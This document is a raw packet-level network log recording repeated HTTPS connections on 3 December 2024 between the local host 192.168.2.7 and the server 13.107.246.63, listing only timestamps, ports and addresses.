Dec 3, 2024 17:42:16.413701057 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.414093018 CET	49943	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.414097071 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.429140091 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.431993008 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.432059050 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.432060003 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.432116985 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.432163000 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.432178974 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.432188988 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.432193995 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.434957981 CET	49946	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.435030937 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.435128927 CET	49946	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.435275078 CET	49946	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.435303926 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.809040070 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.812169075 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.813185930 CET	49942	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.813236952 CET	49942	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.813236952 CET	49942	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.813268900 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.813297033 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.817101002 CET	49947	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.817158937 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.817235947 CET	49947	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.817433119 CET	49947	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.817445040 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.847840071 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.851545095 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.851591110 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.851602077 CET	49943	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.851639986 CET	49943	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.851921082 CET	49943	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.851943016 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.851955891 CET	49943	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.851960897 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.855436087 CET	49948	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.855474949 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.855557919 CET	49948	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.855892897 CET	49948	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.855906010 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:17.589284897 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:17.645850897 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:17.671813011 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:17.671838999 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:17.672867060 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:17.672883987 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:17.697036028 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:17.697473049 CET	49945	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:17.697494984 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:17.698038101 CET	49945	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:17.698066950 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.033339977 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.036627054 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.036746979 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.036804914 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.036825895 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.036845922 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.036851883 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.040100098 CET	49949	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.040148020 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.040213108 CET	49949	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.040836096 CET	49949	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.040847063 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.202533960 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.203161955 CET	49946	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.203186035 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.203392982 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.203708887 CET	49946	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.203720093 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.206341028 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.206466913 CET	49945	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.206547022 CET	49945	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.206566095 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.206578016 CET	49945	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.206583023 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.209358931 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.209395885 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.209474087 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.209614992 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.209625006 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.635979891 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.636599064 CET	49947	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.636626959 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.637185097 CET	49947	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.637192011 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.705578089 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.705876112 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.705966949 CET	49946	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.706029892 CET	49946	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.706051111 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.706063032 CET	49946	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.706068993 CET	443	49946	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.709256887 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.709309101 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.709392071 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.709547043 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.709553957 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.729191065 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.729803085 CET	49948	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.729820013 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:18.730303049 CET	49948	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:18.730307102 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.131037951 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.131124973 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.131241083 CET	49947	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.131531954 CET	49947	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.131553888 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.131565094 CET	49947	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.131570101 CET	443	49947	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.135289907 CET	49952	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.135339975 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.135437012 CET	49952	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.135657072 CET	49952	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.135675907 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.226643085 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.226706028 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.226887941 CET	49948	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.227226019 CET	49948	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.227238894 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.227250099 CET	49948	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.227255106 CET	443	49948	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.230860949 CET	49953	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.230894089 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:19.230983019 CET	49953	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.231175900 CET	49953	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:19.231188059 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.073569059 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.090903044 CET	49949	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.090940952 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.091404915 CET	49949	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.091412067 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.127530098 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.174446106 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.324359894 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.324388981 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.325212955 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.325217962 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.647890091 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.650881052 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.650964022 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.651012897 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.651012897 CET	49950	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.651035070 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.651043892 CET	443	49950	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.654213905 CET	49954	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.654280901 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.654355049 CET	49954	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.654495955 CET	49954	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.654514074 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.704744101 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.705591917 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.705617905 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.706060886 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.706072092 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.783201933 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.786081076 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.786159039 CET	49949	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.786238909 CET	49949	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.786257982 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.786268950 CET	49949	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.786273956 CET	443	49949	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.788882971 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.788921118 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.789011002 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.789154053 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.789166927 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.944325924 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.944808006 CET	49952	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.944840908 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:20.945492029 CET	49952	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:20.945498943 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.069487095 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.070039988 CET	49953	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.070055962 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.070476055 CET	49953	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.070481062 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.160216093 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.163677931 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.163738966 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.163765907 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.163803101 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.163912058 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.163933992 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.163971901 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.163971901 CET	49951	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.163981915 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.163995028 CET	443	49951	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.166747093 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.166806936 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.166906118 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.167058945 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.167073965 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.380264997 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.384520054 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.387135029 CET	49952	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.387176991 CET	49952	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.387176991 CET	49952	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.387200117 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.387229919 CET	443	49952	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.389605999 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.389652014 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.389735937 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.389872074 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.389885902 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.507581949 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.507914066 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.508239985 CET	49953	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.508266926 CET	49953	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.508287907 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.508300066 CET	49953	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.508306980 CET	443	49953	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.511413097 CET	49958	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.511461973 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:21.511533976 CET	49958	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.511714935 CET	49958	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:21.511734962 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:22.562900066 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:22.563550949 CET	49954	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:22.563580036 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:22.564014912 CET	49954	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:22.564019918 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:22.682771921 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:22.694879055 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:22.694901943 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:22.695353031 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:22.695358038 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.022413015 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.023297071 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.023320913 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.023842096 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.023852110 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.081954956 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.085937977 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.086011887 CET	49954	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.086056948 CET	49954	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.086078882 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.086092949 CET	49954	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.086098909 CET	443	49954	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.090090036 CET	49959	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.090131998 CET	443	49959	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.090276957 CET	49959	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.090720892 CET	49959	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.090734959 CET	443	49959	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.136564016 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.136586905 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.136780977 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.136795998 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.136883974 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.136890888 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.136904001 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.137037039 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.137065887 CET	443	49955	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.137105942 CET	49955	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.141365051 CET	49960	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.141419888 CET	443	49960	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.141550064 CET	49960	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.141896963 CET	49960	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.141911983 CET	443	49960	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.176801920 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.177202940 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.177221060 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.177720070 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.177726030 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.354768038 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.355329990 CET	49958	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.355355978 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.355782986 CET	49958	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.355788946 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.477852106 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.478001118 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.478061914 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.478066921 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.478111029 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.478233099 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.478233099 CET	49956	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.478252888 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.478256941 CET	443	49956	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.481908083 CET	49961	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.481940985 CET	443	49961	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.482007027 CET	49961	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.482359886 CET	49961	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.482373953 CET	443	49961	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.622489929 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.625658989 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.625725985 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.625832081 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.625832081 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.627074957 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.627074957 CET	49957	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.627094030 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.627104998 CET	443	49957	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.628416061 CET	49962	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.628477097 CET	443	49962	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.628561974 CET	49962	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.628731966 CET	49962	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.628751040 CET	443	49962	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.836074114 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.838812113 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.838880062 CET	49958	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.839046001 CET	49958	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.839046001 CET	49958	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.839067936 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.839081049 CET	443	49958	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.841655016 CET	49963	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.841698885 CET	443	49963	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:23.841775894 CET	49963	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.842052937 CET	49963	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:23.842063904 CET	443	49963	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:24.863514900 CET	443	49960	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:24.864367962 CET	49960	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:24.864398956 CET	443	49960	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:24.864810944 CET	49960	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:24.864823103 CET	443	49960	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:24.890316010 CET	443	49959	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:24.891048908 CET	49959	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:24.891077995 CET	443	49959	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:24.891657114 CET	49959	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:24.891664982 CET	443	49959	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.244301081 CET	443	49961	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.299125910 CET	49961	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:25.317753077 CET	443	49960	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.317821980 CET	443	49960	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.317893982 CET	49960	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:25.335902929 CET	443	49959	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.338704109 CET	443	49959	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.338742971 CET	443	49959	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.338818073 CET	49959	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:25.338856936 CET	49959	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:25.347754002 CET	49961	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:25.347769022 CET	443	49961	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.349251032 CET	49961	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:25.349265099 CET	443	49961	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.464551926 CET	443	49962	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.500881910 CET	49960	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:25.500881910 CET	49960	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:25.500931978 CET	443	49960	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:25.500946999 CET	443	49960	13.107.246.63	192.168.2.7
